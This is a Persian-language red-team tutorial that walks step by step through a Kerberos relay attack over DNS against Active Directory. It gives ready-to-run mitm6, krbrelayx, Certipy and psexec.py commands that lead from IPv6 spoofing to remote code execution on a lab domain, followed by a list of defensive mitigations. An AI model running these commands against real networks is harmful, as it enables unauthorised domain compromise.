VulnCity

پیاده سازی حمله Relay Kerberos Over DNS

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱۳

حمله Relay Kerberos از طریق DNS

این تکنیک حمله از IPv6 و به‌روزرسانی‌های داینامیک DNS برای انجام حملات relay کربروس علیه محیط‌های Active Directory استفاده می‌کند. نکته مهم اینکه برای اجرای این حمله نیازی به اعتبارنامه (credential) معتبر نیست.

TKEY از این رکورد برای به‌روزرسانی امن استفاده می‌شود.

پیش‌نیازهای محیط هدف

  • IPv6 فعال باشد روی شبکه
  • DNS Dynamic Updates فعال باشد (قابلیت Secure Update)
  • ADCS (Active Directory Certificate Services) در دسترس باشد
  • DHCP آدرس‌های IP را تخصیص داده و آن‌ها را در DNS از طریق رکوردهای TKEY ثبت کند

روش شناسایی

از Wireshark برای شناسایی رکوردهای TKEY استفاده کنید:

dns.resp.type == 249

نکته: همچنین می‌توانید از tcpdump برای capture کردن ترافیک DNS استفاده کنید:

tcpdump -i eth0 -n port 53 -w dns_traffic.pcap

مراحل حمله

مرحله ۱: حمله Man-in-the-Middle با mitm6

یک حمله MITM علیه شبکه‌های IPv6 انجام دهید تا ترافیک DNS را رهگیری کنید:

python3 mitm6.py --domain vulncity.local --host-allowlist vulncity-win.vulncity.local --relay dc01.vulncity.local -v

پارامترها:

  • --domain: دامنه Active Directory هدف
  • --host-allowlist: هاست قربانی مشخص
  • --relay: Domain Controller که احراز هویت به آن relay می‌شود
  • -v: خروجی کامل

نکته امنیتی: mitm6 با ارسال پاسخ‌های Router Advertisement (RA) جعلی، خود را به عنوان DNS server معرفی می‌کند. این حمله معمولاً در عرض چند دقیقه موفق می‌شود زیرا Windows به طور پیش‌فرض IPv6 را ترجیح می‌دهد.

مرحله ۲: حمله Kerberos Relay

احراز هویت کربروس را به ADCS منتقل کرده و یک گواهی machine درخواست کنید:

python3 krbrelayx.py --target http://dc01.vulncity.local/certsrv/ -ip 192.168.221.160 --victim vulncity-win.vulncity.local --adcs --template Machine

پارامترها:

  • --target: endpoint وب ADCS برای ثبت‌نام گواهی
  • -ip: آدرس IP مهاجم
  • --victim: ماشین هدف
  • --adcs: فعال‌سازی درخواست گواهی ADCS
  • --template: الگوی گواهی (الگوی Machine برای حساب‌های کامپیوتر)

نکته: الگوهای دیگری مانند User، DomainController و WebServer نیز وجود دارند که بسته به سطح دسترسی مورد نیاز می‌توانند استفاده شوند.

مرحله ۳: استخراج و ذخیره گواهی

ابزار یک گواهی base64 شده خروجی می‌دهد. آن را decode کرده و به صورت .pfx ذخیره کنید:

echo "MIIRFQIBA...lODSghScECP5hGFE3PXoz" | base64 -d > cert.pfx

نکته: فایل PFX شامل کلید خصوصی و گواهی عمومی است. این فایل را در مکانی امن نگهداری کنید و پس از اتمام تست، حتماً آن را حذف کنید.

مرحله ۴: درخواست TGT با استفاده از گواهی

از Certipy برای احراز هویت با گواهی به دست آمده و دریافت Ticket Granting Ticket (TGT) استفاده کنید:

certipy auth -pfx cert.pfx -username vulncity-Win$ -domain vulncity.local

این دستور یک فایل .ccache حاوی TGT تولید می‌کند.

نکته: علامت $ در انتهای نام کاربری نشان‌دهنده حساب کامپیوتر (machine account) است. این حساب‌ها معمولاً دارای امتیازات بالاتری نسبت به حساب‌های کاربری معمولی هستند.

مرحله ۵: Export کردن TGT برای استفاده

متغیر محیطی Kerberos credential cache را تنظیم کنید:

export KRB5CCNAME=vulncity-win.ccache

نکته: این متغیر محیطی فقط در session فعلی shell معتبر است. برای استفاده دائمی، آن را به فایل ~/.bashrc یا ~/.zshrc اضافه کنید.

مرحله ۶: اجرای دستورات با TGT

از TGT برای احراز هویت و اجرای دستورات روی سیستم هدف استفاده کنید:

دسترسی SMB

smbclient.py -k -no-pass vulncity.local/vulncity-Win\$@vulncity-Win.vulncity.local

اجرای کد از راه دور

psexec.py -k -no-pass vulncity.local/vulncity-Win\$@vulncity-Win.vulncity.local

پارامترها:

  • -k: استفاده از احراز هویت کربروس
  • -no-pass: نیازی به رمز عبور نیست (استفاده از TGT)

نکته: ابزارهای دیگری مانند wmiexec.py، atexec.py و dcomexec.py نیز برای اجرای کد از راه دور قابل استفاده هستند.

نکات مهم

Name Resolution

فراموش نکنید فایل /etc/hosts را برای حل نام صحیح به‌روزرسانی کنید:

192.168.221.160 dc01.vulncity.local
192.168.221.xxx vulncity-win.vulncity.local

نکته: همچنین می‌توانید از /etc/resolv.conf برای تنظیم DNS server استفاده کنید، اما استفاده از /etc/hosts برای تست‌های محلی سریع‌تر و قابل اعتمادتر است.

پیدا کردن Certificate Authority (CA)

از Certipy برای کشف سرور CA با query کردن Domain Controller استفاده کنید:

certipy find -u user@domain.local -p password -dc-ip 192.168.221.160

نکته: این دستور یک فایل JSON و چندین فایل متنی تولید می‌کند که شامل اطلاعات کامل درباره الگوهای گواهی، CA servers و آسیب‌پذیری‌های احتمالی است.

پیدا کردن Domain Controller

  • Port scan برای LDAP (پورت 389/TCP)
  • ARP scan برای کشف هاست‌های فعال
  • به دنبال سیستم‌هایی با پورت 389 باز باشید (سرویس LDAP)

نکته: پورت‌های دیگری که معمولاً روی Domain Controller باز هستند:

  • 88/TCP,UDP: Kerberos
  • 135/TCP: RPC
  • 139/TCP: NetBIOS
  • 445/TCP: SMB
  • 636/TCP: LDAPS (LDAP over SSL)
  • 3268/TCP: Global Catalog
  • 3389/TCP: RDP

دستور nmap برای شناسایی Domain Controller:

nmap -p 88,389,636,3268 -sV -sC 192.168.221.0/24

راهکارهای دفاعی

دفاع اصلی: غیرفعال کردن IPv6 روی شبکه در صورتی که برای عملیات کسب‌وکار لازم نیست.

راهکارهای اضافی:

  • محدود کردن مجوزهای ثبت‌نام گواهی ADCS
  • نظارت بر درخواست‌های غیرعادی گواهی
  • پیاده‌سازی تقسیم‌بندی شبکه (network segmentation)
  • فعال‌سازی SMB signing و LDAP signing
  • فعال‌سازی EPA (Extended Protection for Authentication) روی ADCS web enrollment
  • استفاده از DNSSEC برای جلوگیری از جعل پاسخ‌های DNS
  • پیاده‌سازی Network Access Control (NAC) برای محدود کردن دستگاه‌های ناشناخته
  • فعال‌سازی logging و monitoring برای رویدادهای Kerberos (Event IDs: 4768, 4769, 4770, 4771)
  • محدود کردن دسترسی به ADCS web interface فقط از IP های مشخص
  • استفاده از Certificate Enrollment Policy (CEP) و Certificate Enrollment Web Service (CES) به جای web enrollment سنتی
  • پیاده‌سازی Privileged Access Workstations (PAWs) برای مدیریت سیستم‌های حساس

ابزارهای مورد نیاز

  • mitm6 - ابزار حمله MITM برای IPv6
  • krbrelayx - ابزار relay کربروس
  • Certipy - ابزار جامع برای حملات ADCS
  • Impacket - مجموعه ابزارهای Python برای کار با پروتکل‌های شبکه
  • Wireshark - ابزار تحلیل ترافیک شبکه

منابع و مراجع

هشدار قانونی

توجه: این تکنیک‌ها صرفاً برای اهداف آموزشی و تست نفوذ مجاز (با مجوز کتبی) ارائه شده‌اند. استفاده غیرمجاز از این روش‌ها علیه سیستم‌هایی که مالک آن‌ها نیستید یا مجوز تست ندارید، غیرقانونی است و می‌تواند پیامدهای جدی قانونی داشته باشد.